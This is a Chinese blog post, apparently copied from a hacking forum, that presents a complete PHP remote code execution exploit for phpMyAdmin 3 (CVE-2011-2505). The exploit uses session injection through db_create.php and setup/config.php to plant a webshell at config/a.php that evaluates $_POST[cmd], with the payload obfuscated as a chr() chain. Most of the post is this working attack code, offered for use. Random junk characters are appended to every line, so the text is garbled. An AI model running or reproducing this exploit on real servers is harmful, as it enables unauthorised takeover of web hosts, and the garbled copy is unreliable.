最近在家做专职奶爸,不谙圈内事很多months了,博客也无更新。
A0 Q! ^4 D9 l! p) e: N" f! w3 H
3 |4 K( x& o2 f$ R+ e: A" J. e A昨夜带孩子整夜未眠,看到黑哥在php security群里关于phpmyadmin3漏洞的讨论,虽然之前没看过漏洞代码,不过前段时间还是在微博上看到wofeiwo的exp了,不过据黑哥说有不鸡肋的利用方法,于是夜里翻代码出来研究了翻,写出了这个冷饭exp,由于我搞的晚了,之前已经很多人研究了写exp了,于是我这个属于炒冷饭,权当研究研究打发时间了。
/ T2 t7 A, x0 S+ Q9 q7 a) Z r1 _- s$ Y% P$ |! c& M
首先赞下wofeiwo的python版本的exp,再赞下wofeiwo跟superhei的钻研精神,学习的榜样啊。不过之前那个exp利用起来是有一些限制的:$ b B! v, A' U6 H9 Y+ D+ h
一是session.auto_start = 1;9 B3 ?, [3 H" H7 g0 {' R9 b$ K* s
二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。0 t; W6 T7 \- Z# a# U+ Y, x+ c, g
当然还有第三点大家都不可以逾越的鸿沟:config目录存在且可写。, [2 P, t6 T! t8 e0 _" I
& A( x: f+ f* f* P+ B7 O [3 n8 m
在群里看了黑哥的发言后,再看了下代码,发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。
2 p' H( i* u5 ]
1 T5 z w. p+ d: Z6 k+ F于是写了这个php版本的exp,代码如下:" s3 [5 _% c. M, i. O/ b% k
2 l; K# v7 T- G) |#!/usr/bin/php6 z ^5 j: H0 M* P5 `/ h
<?php' B( u; K* _# S& ~. i7 K: a7 _4 ?% S
print_r('
2 m9 w o0 I/ ^ m+---------------------------------------------------------------------------+
. ?, ^3 y r# D+ R( c, e7 hpma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]) t2 ?( R- K( [$ a
by oldjun(www.oldjun.com)5 p( d J( u: ?, A( b X- ?
welcome to www.t00ls.net
% }4 N8 F" ^. f4 xmail: oldjun@gmail.com
4 F; r' W1 t' \. y- `" o& |Assigned CVE id: CVE-2011-2505
. {' [! B7 L4 O: t: O) P+---------------------------------------------------------------------------+
2 i; d' p! y0 I D' Z');' C, r9 }9 }. o' }
2 Y: q8 Q0 E, t, w/ T
/**9 t3 A0 P1 S5 a* ?8 V' F
* working when the directory:"config" exists and is writeable.
/ U1 I" _5 c7 O" W0 }) P2 V+ [6 E* y**/
$ o# b* ~4 U. }
0 c: O. r- e! j# K) ]; Kif ($argc < 3) {' p# t- Q0 w) N7 P
print_r('
$ }0 u, {$ @ |, n+---------------------------------------------------------------------------+
2 t$ k# R7 i* Q3 \2 D4 c, Z vUsage: php '.$argv[0].' host path( r5 m* l5 d# }$ C* H( Q
host: target server (ip/hostname)" p$ {& `$ x! v. ]& l- o7 u
path: path to pma3; K& o m+ Z- q0 e# t. K. }
Example:
" C1 r) T" C* R0 q6 C- A5 P0 |php '.$argv[0].' localhost /pma/
7 x# O: E' N2 x, b8 P# ~+---------------------------------------------------------------------------+- ^& ~2 W) {" i# ^/ D" ]
');. J* }& J: z+ v' T
exit;3 B7 N/ G' w8 m. g5 G; T
}' K6 q/ B% k+ v( y( F' D7 x, l
' w# F" j2 x% J) A$host = $argv[1];
9 l; Y) }1 v3 C! v, u$path = $argv[2];
& w8 P# T5 O- l- @5 O+ k, V
( O5 _$ r; D& g& \6 _/**' Y; o5 r8 Y/ Y i. I% G* Q/ q8 W
* Try to determine if the directory:"config" exists
* C# Z9 x( c6 h( H$ z; n**/
: }6 I0 D7 J: ~* Mecho "[+] Try to determine if the directory:config exists....\n";" `& ?2 v' |7 `& K4 K1 B3 N; k! v
$returnstr=php_request('config/');
. `$ H: {4 ^1 a& K# ]( Lif(strpos($returnstr,'404')){; D5 J; c4 F( S9 ^
exit("[-] Exploit Failed! The directory:config do not exists!\n");$ D8 v; d1 u* C
}
* I- [5 v( K& Q' M/ w+ X- K8 H6 H/ |6 r5 I& k9 N
/**+ ^# k& W& A# ~
* Try to get token and sessionid
8 A" o+ F/ N7 G( P* J5 z( e**/- ^) j$ D1 u8 x& @) O0 ~
echo "[+] Try to get token and sessionid....\n";0 X6 h7 N3 `0 R0 ? G/ {6 u1 U( B
$result=php_request('index.php');
2 ^, e4 g2 A Spreg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);
/ C9 p) K7 ~ M$token=$resp[3];
& q) N3 Y; `7 w0 S2 \$sessionid=$resp[1];
& ^- `* y' C) x" V" zif($token && $sessionid){( F& A! ?7 n! D6 Q* C/ \
echo "[+] tokentoken\n";
$ w5 J1 d. I2 J7 X0 ^ echo "[+] Session IDsessionid\n";
7 j- \$ [2 j& g9 Z1 W1 y5 N}else{
# O+ p8 L4 Z$ g2 s. d exit("[-] Can't get token and Session ID,Exploit Failed!\n");; G* N. N: L$ Z J) Y; M6 q
}0 j. T, e: p+ B4 q+ }
0 x* x$ K$ v p/ J E: z6 ]
/**
" {9 F* d% B" P' r6 T& n * Try to insert shell into session
+ B9 l* r5 c) `' p; U) L**/
% P" c+ X% U) Decho "[+] Try to insert shell into session....\n";
' M% g6 U0 M3 P" z9 J/ E r' ?php_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.
0 V& D4 ?0 l" E: M8 W8 h6 V" d: w+ s% j
/**+ Q5 N9 l0 A' s0 h$ j( F5 Q7 \! M
* Try to create webshell
" s6 x; ?- J O% v+ E) D**/
3 S/ y& l: }" J8 s2 recho "[+] Try to create webshell....\n";
- H$ E# \3 H0 w% s# ~) [php_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);
) F0 }* r! b3 d9 k0 z) b/**% a+ w @# G, B/ v
* Try to check if the webshell was created successfully! {+ V- C f4 r
**/
* R& z( Q, k. ^9 Y0 x! Gecho "[+] Try to check if the webshell was created successfully....\n";# b" [5 T$ v) O8 ~9 z
$content=php_request('config/config.inc.php');
8 I+ x$ s5 f9 @5 f- j) wif(strpos($content,'t00ls')){
' S1 O$ C+ k$ j/ w echo "[+] Congratulations! Expoilt successfully....\n";
5 d$ g4 p( m. D3 ?' M4 v echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";
k$ J+ j8 b3 c( ]}else{7 r$ w& p$ `8 g" `! f
exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");
! S' ~# R) R/ a# T( [! J8 i}" Y* d9 e1 W5 @1 z Z! z
4 b/ {! ] l, n. Sfunction php_request($url,$data='',$cookie=''){. n3 c& w- H& J& L4 d/ U- p" O. j
global $host, $path;
5 p* J6 P: R( s) X
$ I8 p0 y* M* ?' k, n& s3 v $method=$data?'POST':'GET';
; E/ f7 w9 @3 R8 i" Y2 ]7 e
' P6 I! ?' X3 R% w7 i6 | $packet = $method." ".$path.$url." HTTP/1.1\r\n";1 U- O; K- f, |, g, G
$packet .= "Accept: */*\r\n";
$ l. p% [2 Z' r9 J- ?# y7 y3 f5 g $packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
! ~9 y3 m! d, Q $packet .= "Host: $host\r\n";
- F9 l) T7 r- K. w. w) g $packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";6 u# f7 ^% E" N% f
$packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";6 ~/ H7 M: V* H; D- l
$packet .= $cookie?"Cookie: $cookie\r\n":"";
8 P+ n9 U; ~, j* O $packet .= "Connection: Close\r\n\r\n";4 r+ w$ ~! Y( V2 J$ A
$packet .= $data?$data:"";: I9 w9 x3 v0 M! V% [' l K" W2 q6 H
$ s: g8 N2 M; ]2 m" O $fp = fsockopen(gethostbyname($host), 80);
/ N7 k1 b$ A8 \' n5 n if (!$fp) {
1 J' Y: S( `) r/ a0 e; I% @- ] echo 'No response from '.$host; die;& x) w8 L: O7 l. b! s0 T
}
% z4 @7 e6 }6 L$ ^$ M; E1 e fputs($fp, $packet);* Q9 ^: \' ]" l; [
8 S* O' E7 O# } @6 [9 L G3 a
$resp = '';
! x! \: ]( M- _7 f% p [6 Y6 e: h# x) ~
while ($fp && !feof($fp))
6 y! t4 X; n x4 j: b $resp .= fread($fp, 1024);& h& h# v1 |; S" C
3 M; h! V. X) O% p4 A6 @3 K
return $resp;. x# S0 L8 D- r2 m" w
}
1 i1 W* V, C- U+ q
% K- M3 }% y( G7 U5 M8 k?>
( F+ L5 i' u& n. |